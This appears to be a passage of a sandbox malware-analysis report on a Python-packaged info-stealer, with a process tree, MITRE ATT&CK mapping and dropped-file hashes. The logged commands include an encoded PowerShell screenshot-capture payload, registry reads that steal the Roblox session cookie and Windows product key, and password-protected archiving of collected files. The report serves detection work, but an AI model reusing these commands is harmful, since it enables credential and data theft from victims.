QBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1868
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\byfvodvy\byfvodvy.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4508
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E2F.tmp" "c:\Users\Admin\AppData\Local\Temp\byfvodvy\CSCC1D1071EE23445A78BDAEDB6648CCBA.TMP"
        6⤵
        
        PID:3764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3680
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3360
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI8482\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\DbAMc.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Users\Admin\AppData\Local\Temp\_MEI8482\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI8482\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\DbAMc.zip" *
      4⤵
      Executes dropped EXE
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3796
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
MD5 8740e7db6a0d290c198447b1f16d5281
SHA1 ab54460bb918f4af8a651317c8b53a8f6bfb70cd
SHA512 d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b
TLSH
T1A871EF313375B0E888163F072D281AC053BF4355EA94AF5CB698625EDE2741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4dc6f51977acad240b449e8024a1a8b8fe987270797b186ffb7c92eea7c7b519
MD5 c4a154e709679aef8643bdc6236fbf54
SHA1 c8f572bab29497b95ca863ba7e1464a79a1b50a5
SHA512 6e2d7a0d2adfa0436657885bc904d2ac4df6a8421fb63fc03e4054e6eb2e6c3cf52a53f544b940486b1f3db8243a3f173df4a898832e564f4109e729a54c5a74
TLSH
T172215423B39C89A1CC8A113A409DAD5036B693D740AEDE8FAEC0D604E5BF5C8CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 8326996c96a83be44635b276b03dc922660a0fac1f320daa0c19c18f79f7488b
MD5 35f5502e70f8e61c72a622cd4ac9b1c0
SHA1 afe88e7e3932e63deb30cdfbdb556276cf6339f1
SHA512 11ad8b2c20314c80122c7e35d661dd69e757e7bb0e65ab5b88661f08a5eb7c620020de38c0ec648d1d33594e471404d9e33c5980c6d715a51bd8a8fa0e41e5e6
TLSH
T18E112223F38C8920CC96163A509DAC5572B586CB81AEDF9F7FC0C211A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2b6af197399a2cbf39dffe7f430cba4a6e78a35fae58571e2ad1377465fcf469
MD5 fd7f2c22ce0c3120624e2067d71ee8b5
SHA1 342219984dab6ff42c76ebdf90d4ac06622502cc
SHA512 7c3ca7d97512a49dca0d0429ae6d4daa754cf4fb1c0f784c6b7c417ad44231c58effd387b36246edff89415947ae56db5459f928cd61033e0edf8859c3bec8f9
TLSH
T1A1112227F38C8920CC96163A509DAC5172B586DB81AEDF9F7FC0C210E1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b2cd3884c706629b0e92856ba2643c4062d98480d38a36e4ac10f6a6695ed8c2
MD5 b2600662b39ee59512f530131c038b45
SHA1 c417eecbd7fd9c0f143261279c17cdc83783c95c
SHA512 97bbb9a0859b3e01a5d789b5d242c07b35e8f80a7ccf7e2e9af1ff31cf0a3497cc23603754407140a7602bb1a3edd7ec71529a0b9a7460b700ebcd72306bd3af
TLSH
T163117623F3DC8A21CC96163A509D9C1176B683C7819EDF9F6BC0D201A1BF594CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

RES2E2F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2E2F.tmp
Size 1KB
SHA256 e21f5df0edacdcc306faee3648ef9c7b92a1b41c756edce7cc1ae628b8d4eb43
MD5 5f41498b5049dc10c70cc02e5afb0788
SHA1 4c850bb8738fc2e40e2aa219ec3cbb818e4ba446
SHA512 4d97dffe78fa915715c657336817438f20b0101c240d0722dc27943a50e6c2904252a3060be5249d2c6f06588e0402000e2562783ae238f38aa0fa14d725062b
TLSH
T17E21AA0583F8470FF073573269F6432BA278FD95EFB2A36B854152281C51204EEA0BB2
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\VCRUNTIME140.dll
Size 106KB
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
SSDEEP 1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
TLSH
T1A0B37C4A72A441F7C5AAD274C2E38A06FB71B541877093CF03B19A690F63BE15E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_bz2.pyd
Size 48KB
SHA256 1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f
MD5 554b7b0d0daca993e22b7d31ed498bc2
SHA1 ea7f1823e782d08a99b437c665d86fa734fe3fe4
SHA512 4b36097eddd2c1d69ac98c7e98eebe7bb11a5117249ad36a99883732f643e21ecf58e6bea33b70974d600563dc0b0a30bead98bafb72537f8374b3d67979e60a
SSDEEP 1536:MtiGgF1TxbYecfs2F876zpfImCVQj7SysPxJ:MkHz4LFPNImCVQjGxJ
TLSH
T1DD23D06386242C39ED239DB234C85C25EB30B9939850C3DF72AC91691F527417BE627E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_ctypes.pyd
Size 58KB
SHA256 5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe
MD5 d603c8bfe4cfc71fe5134d64be2e929b
SHA1 ff27ea58f4f5b11b7eaa1c8884eac658e2e9248b
SHA512 fcc0dbfbe402300ae47e1cb2469d1f733a910d573328fe7990d69625e933988ecc21ab22f432945a78995129885f4a9392e1cee224d14e940338046f61abe361
SSDEEP 1536:/UOlRJUIp/i+OnIlnGgm5XVz4iImLPAf7SyNlPx:MOpnomlnGgoXVUiImLPAfPZx
TLSH
T1B643E1D642A5DC2CDC67CFB038D95825FD31B1A3C7B087D73289C22A6F6039256963B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_decimal.pyd
Size 106KB
SHA256 677d9993bb887fef60f6657de6c239086ace7725c68853e7636e2ff4a8f0d009
MD5 9cef71be6a40bc2387c383c217d158c7
SHA1 dd6bc79d69fc26e003d23b4e683e3fac21bc29cb
SHA512 90e02054163d44d12c603debdc4213c5a862f609617d78dd29f7fd21a0bae82add4ceaf30024da681c2a65d08a8142c83eb81d8294f1284edfbeeb7d66c371c8
SSDEEP 3072:CNb2HcDjyP1iSYsEHOqLQb1H7wtDWPnyTm2GN4ImOqGCArxv:CNb2HeyiOrH0t6r2kC8
TLSH
T150B302C18376ACBCED77807232E11229FB7071A68850C7EB354DD216AF4538287E567B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_hashlib.pyd
Size 35KB
SHA256 b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065
MD5 32df18692606ce984614c7efda2eec27
SHA1 86084e39ab0aadf0ecfb82ce066b7bf14152961e
SHA512 679f8956370edc4dee32475d8440a2d2f9b6dd0edd0e033e49fed7834a35c7ed51ccde0995d19ed0a559a4383b99ae8c11e4e686902db12a2a5e0a3f2c0f4a9d
SSDEEP 768:a91cXZ8iY8JshuVLX7lB6IKpp5rbImOIta5YiSyvCKPxWE9:ajSYZhuN3QlrbImOIt47Sy7Px
TLSH
T1F3F2C0A381B0B864CA224DB234D4D525F736785399938BE7314DC1BA4FD2782EFA5338
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_lzma.pyd
Size 85KB
SHA256 a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812
MD5 01629284f906c40f480e80104158f31a
SHA1 6ab85c66956856710f32aed6cdae64a60aea5f0f
SHA512 107a4e857dd78dd92be32911e3a574f861f3425e01ab4b1a7580ac799dc76122ce3165465d24c34ac7fc8f2810547ad72b4d4ba3de76d3d61ed9bf5b92e7f7d4
SSDEEP 1536:TwZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6Vvt7v/8ImZ1Lw7SyYAPxx3:kvA5utzWfXE0V0ZK+K+Jt7vUImZ1Lwtx
TLSH
T1968302670278C08CD4679D7221E8A5A6E670FE73875283FB3254817B0FB33D19A5327A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_queue.pyd
Size 25KB
SHA256 2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e
MD5 4a313dc23f9d0a1f328c74dd5cf3b9ab
SHA1 494f1f5ead41d41d324c82721ab7ca1d1b72c062
SHA512 42c712b758b35c0005b3528af586233298c2df4ed9f5133b8469bca9ec421ab151ce63f3929898c73d616cd9707594fa5f96d623fc150e214a4b2276c23c296e
SSDEEP 384:w0Psz9rLZgNhzHjlryUOy7s6Wp6hZa7gJXT7ImQUtNkHQIYiSy1pCQjtAPxh8E9s:GihFWRupD7ImQUtc5YiSyvxAPxWE9HJ
TLSH
T1D0C29EA342B8AC2CDD278EB134D44934FE30BDA7855183DB721C82764F6178267A2379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_socket.pyd
Size 43KB
SHA256 ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7
MD5 67897f8c3262aecb8c9f15292dd1e1f0
SHA1 74f1ef77dd3265846a504f98f2e2f080eadbf58a
SHA512 200b6570db2fbb2eac7f51cae8e16ffb89cd46d13fba94a7729a675f10f4432fc89a256fd6bd804feac528191bd116407fd58a0573487d905fc8fca022c1abba
SSDEEP 768:EhFQ8MABQICFr2Tg+z2uPxYEV/WJqOxU/XNqppz7ImLwQFC5YiSyvLPxWE9dK:gTiFtipt/ML4NIz7ImLwQFg7SyTPxJK
TLSH
T16A13D0A743B05838DE374CB234E98D296F35F597899483D7329C81B64F513829FA23B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_sqlite3.pyd
Size 56KB
SHA256 30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332
MD5 230025cf18b0c20c5f4abba63d733ca8
SHA1 336248fde1973410a0746599e14485d068771e30
SHA512 2c4d943c6587d28763cf7c21ad37cc4762674a75c643994b3e8e7c7b20576d5674cf700fdfaddc1a834d9bf034bf2f449d95351c236fde720505ccdd03369bb1
SSDEEP 1536:F1OB9LTyHEhkBFl837aWkbKlujFImOQAO7SyuWPxJ:i/LTyHRTU1kuluZImOQAOfxJ
TLSH
T1E443D0E303BAAC24D53B88B235C50C29E6717A7A5B21C3EB326D91760F707816F65379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI8482\_ssl.pyd
Size 62KB
SHA256 2fc63abe576c0d5fe031cf7ee0e2f11d9c510c6dbacfc5dd2e79e23da3650ee8
MD5 0d15b2fdfa03be76917723686e77823c
SHA1 efd799a4a5e4f9d15226584dd2ee03956f37bdaf
